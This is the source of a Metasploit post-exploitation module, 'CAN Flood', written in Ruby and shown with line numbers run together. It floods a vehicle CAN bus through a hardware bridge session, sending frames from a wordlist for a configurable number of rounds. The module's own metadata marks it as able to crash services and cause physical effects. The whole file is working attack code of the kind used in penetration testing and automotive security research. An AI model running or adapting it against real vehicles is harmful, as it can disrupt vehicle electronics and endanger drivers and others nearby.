Path: blob/master/modules/post/hardware/automotive/can_flood.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67DEFAULT_FRAMELIST = File.join(Msf::Config.data_directory, 'wordlists', 'can_flood_frames.txt')89def initialize(info = {})10super(11update_info(12info,13'Name' => 'CAN Flood',14'Description' => 'This module floods a CAN interface with supplied frames.',15'Author' => 'Pietro Biondi',16'License' => MSF_LICENSE,17'Platform' => 'hardware',18'SessionTypes' => ['hwbridge'],19'Notes' => {20'Stability' => [CRASH_SERVICE_DOWN],21'SideEffects' => [PHYSICAL_EFFECTS],22'Reliability' => []23}24)25)2627register_options([28OptString.new('CANBUS', [true, 'CAN interface']),29OptString.new('FRAMELIST', [true, 'Path to frame list file', DEFAULT_FRAMELIST]),30OptInt.new('ROUNDS', [true, 'Number of executed rounds', 200])31])32end3334def run35unless File.exist?(datastore['FRAMELIST'])36print_error("Frame list file '#{datastore['FRAMELIST']}' does not exist")37return38end3940vprint_status("Reading frame list file: #{datastore['FRAMELIST']}")41frames = File.readlines(datastore['FRAMELIST']).map { |line| line.strip.split('+') }4243print_status(' -- FLOODING -- ')44datastore['ROUNDS'].times do45frames.each { |frame| client.automotive.cansend(datastore['CANBUS'], frame[0], frame[1]) }46end47end4849end505152